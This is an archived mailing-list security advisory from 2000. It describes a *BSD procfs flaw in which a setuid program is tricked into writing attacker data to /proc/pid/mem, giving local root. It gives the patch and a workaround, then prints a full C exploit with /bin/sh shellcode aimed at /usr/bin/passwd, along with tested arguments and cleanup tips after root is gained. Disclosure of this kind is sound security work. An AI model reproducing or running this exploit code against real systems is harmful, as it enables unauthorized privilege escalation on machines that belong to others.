*BSD procfs vulnerability

From: FEAR Advisories (fear-advat_private)
Date: Fri Jan 21 2000 - 12:10:06 PST

  • Next message: Vladimir Dubrovin: "Re: explanation and code for stream.c issues"

    /* note for the moderator - this is a resend. If you have received the
    previous copy, pls disregard this message; otherwise, pls remove this
    comment before sending it to the list */
                            Fast Emergency AVET Response
                                 SECURITY ADVISORY
                                    January 2000
                                     FEAR ID: 1
                             *BSD procfs vulnerability
    
    ==============================================================================
    
    PROBLEM DESCRIPTION
    
        In January 1997 a fatal flaw in *BSD procfs code (leading to a local root
    compromise) was discussed on various security forums. The exploit code
    dealt with /proc/pid/mem interface. Since then *BSD kernels contained a
    simple fix which was meant to close this hole.
        Unfortunately, throughout these three years it was still possible to
    abuse /proc/pid/mem in a symilar, though more complicated fashion, which
    could lead to local root compromise.
    
    ==============================================================================
    
    VULNERABLE PLATFORMS
    
        The bug is present in kernels used in current (and almost any older)
    FreeBSD and OpenBSD distributions. In order to make this flaw exploitable,
    procfs filesystem must be mounted. In default FreeBSD 3.3 installation,
    procfs IS mounted; in default OpenBSD 2.6 installation, it is NOT. Note that
    administrators often mount procfs filesystem for its benefits.
    
    ==============================================================================
    
    TECHNICAL DETAILS
    
        The procfs exploit code from 1997 was straightforward. An unpriviledged
    process A forks off a process B. A opens /proc/pid-of-B/mem. B execs a
    setuid binary. Though now B has a different euid than A, A is still able to
    control B's memory via /proc/pid-of-B/mem descriptor. Therefore A can change
    B's flow of execution in an arbitrary way.
        In order to stop this exploit, an additional check was added to the code
    responsible for I/O on file descriptors referring to procfs pseudofiles. In
    miscfs/procfs/procfs.h (from FreeBSD 3.0) we read:
    /*
     * Check to see whether access to target process is allowed
     * Evaluates to 1 if access is allowed.
     */
    #define CHECKIO(p1, p2) \
         ((((p1)->p_cred->pc_ucred->cr_uid == (p2)->p_cred->p_ruid) && \
           ((p1)->p_cred->p_ruid == (p2)->p_cred->p_ruid) && \
           ((p1)->p_cred->p_svuid == (p2)->p_cred->p_ruid) && \
           ((p2)->p_flag & P_SUGID) == 0) || \
          (suser((p1)->p_cred->pc_ucred, &(p1)->p_acflag) == 0))
    
        As we see, process performing I/O (p1) must have the same uids as target
    process (p2), unless... p1 has root priviledges. So, if we can trick a
    setuid program X into writing to a file descriptor F referring to a procfs
    object, the above check will not prevent X from writing. As some of readers
    certainly already have guessed, F's number will be 2, stderr fileno... We
    can pass to a setuid program an appropriately lseeked file descriptor no 2
    (pointing to some /proc/pid/mem), and this program will blindly write there
    error messages. Such output is often partially controllable (e.g. contains
    program's name), so we can write almost arbitrary data onto other setuid
    program's memory.
        This scenario looks similar to
     ' close(fileno(stderr)); execl("setuid-program",...) '
    exploits, but in fact differs profoundly. It exploits the fact that the
    properties of a fd pointing into procfs is not determined fully by "open"
    syscall (all other fd are; skipping issues related to securelevels). These
    properties can change because of priviledged code execution. As a result,
    (priviledged) children of some process P can inherit a fd opened read-write,
    though P can't directly gain such fd via open syscall.
        The attached sample exploit (for Intel platform) code runs
    /usr/bin/passwd, but almost any setuid program can be used. This code was
    tested on FreeBSD 2.8, 3.0 and 3.3 as well as on OpenBSD 2.4, 2.5 and 2.6.
    The code overwrites stack with addresses of a shellcode, which is placed in
    an environment variable. The code is a bit crude, but there were some obscure
    problems with building a working exploit. It requires two arguments: an offset from the current stack
    pointer and an offset from default shellcode position.
    /procfs_exp -4000 -10000
    worked for all tested platforms. Having seen "#" prompt, one should probably
    issue "stty sane" command to clean tty state. On OpenBSD, having gained root
    prompt one should remove /etc/ptmp file.
    
    ==============================================================================
    
    SOLUTION
    
        Linux also features proc filesystem with symilar functionality, but it is
    not vulnerable to this exploit. That is so because on Linux if a process p1
    wishes to alter the memory of process p2 via /proc/pid-of-p2/mem, p2 must be
    traced by p1 (moreover, mem_write function is currently defined as NULL, so
    /proc/pid/mem can be altered only with use of mmap; irrelevant here). It may
    be tempting to impose symilar restriction in *BSD kernels. However, on *BSD
    a process p1 can attach p2 for tracing merely by writing to
    /proc/pid-of-p2/ctl file; as we have just seen it is possible to force a
    setuid program to write arbitrary strings to /proc files.
        The solution (by deraadt) is to add a certain check in execve syscall. If
    a process X tries to exec a setuid binary, we make sure it holds no open
    descriptors pointing into procfs filesystem.
        Patches are available on
    http://www.openbsd.org/errata.html#procfs
    ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:02/procfs.patch
        As a workaround, it is enough to umount /proc and comment it out from
    /etc/fstab.
    
    ==============================================================================
    
    CREDITS
    
      The discovery of this vulnerability, as well as the sample exploit, was
    done by Rafal Wojtczuk <nergalat_private>;
      deraadt for discarding our original idea of the fix because of its
    inefficiency and finding a better one;
      deraadtat_private and security-officerat_private for immediate
    response and supplying patches for their systems.
    Other FEAR security materials can be found at :
    http://www.fear.pl
    
    ==============================================================================
    
    EXPLOIT CODE
    /* by Nergal */
    #include <errno.h>
    #include <signal.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <string.h>
    #include <signal.h>
    #include <sys/wait.h>
    
    char            shellcode[] =
    "\xeb\x0a\x62\x79\x20\x4e\x65\x72\x67\x61\x6c\x20"
    "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
    "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
    "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
    "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04\x00";
    
    #define PASSWD "./passwd"
    void
    sg(int x)
    {
    }
    int
    main(int argc, char **argv)
    {
    	unsigned int stack, shaddr;
    	int             pid,schild;
    	int             fd;
    	char            buff[40];
    	unsigned int    status;
    	char            *ptr;
    	char            name[4096];
    	char 		sc[4096];
    	char            signature[] = "signature";
    
    	signal(SIGUSR1, sg);
    if (symlink("usr/bin/passwd",PASSWD) && errno!=EEXIST)
    {
    perror("creating symlink:");
    exit(1);
    }
    	shaddr=(unsigned int)&shaddr;
    	stack=shaddr-2048;
    	if (argc>1)
    	shaddr+=atoi(argv[1]);
    	if (argc>2)
    	stack+=atoi(argv[2]);
    	fprintf(stderr,"shellcode addr=0x%x stack=0x%x\n",shaddr,stack);
    	fprintf(stderr,"Wait for \"Press return\" prompt:\n");
    	memset(sc, 0x90, sizeof(sc));
    	strncpy(sc+sizeof(sc)-strlen(shellcode)-1, shellcode,strlen(shellcode));
    	strncpy(sc,"EGG=",4);
    memset(name,'x',sizeof(name));
    	for (ptr = name; ptr < name + sizeof(name); ptr += 4)
    		*(unsigned int *) ptr = shaddr;
    	name[sizeof(name) - 1] = 0;
    
    	pid = fork();
    	switch (pid) {
    	case -1:
    		perror("fork");
    		exit(1);
    	case 0:
    		pid = getppid();
    		sprintf(buff, "/proc/%d/mem", pid);
    		fd = open(buff, O_RDWR);
    		if (fd < 0) {
    			perror("open procmem");
    			wait(NULL);
    			exit(1);
    		}
    		/* wait for child to execute suid program */
    		kill(pid, SIGUSR1);
    		do {
    			lseek(fd, (unsigned int) signature, SEEK_SET);
    		} while
    			(read(fd, buff, sizeof(signature)) == sizeof(signature) &&
    			 !strncmp(buff, signature, sizeof(signature)));
    		lseek(fd, stack, SEEK_SET);
    		switch (schild = fork()) {
    		case -1:
    			perror("fork2");
    			exit(1);
    		case 0:
    
    			dup2(fd, 2);
    			sleep(2);
    			execl(PASSWD, name, "blahblah", 0);
    			printf("execl failed\n");
    			exit(1);
    		default:
    			waitpid(schild, &status, 0);
    		}
    		fprintf(stderr, "\nPress return.\n");
    		exit(1);
    	default:
    		/* give parent time to open /proc/pid/mem */
    		pause();
    		putenv(sc);
    		execl(PASSWD, "passwd", NULL);
    		perror("execl");
    		exit(0);
    
    	}
    }
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:29:57 PDT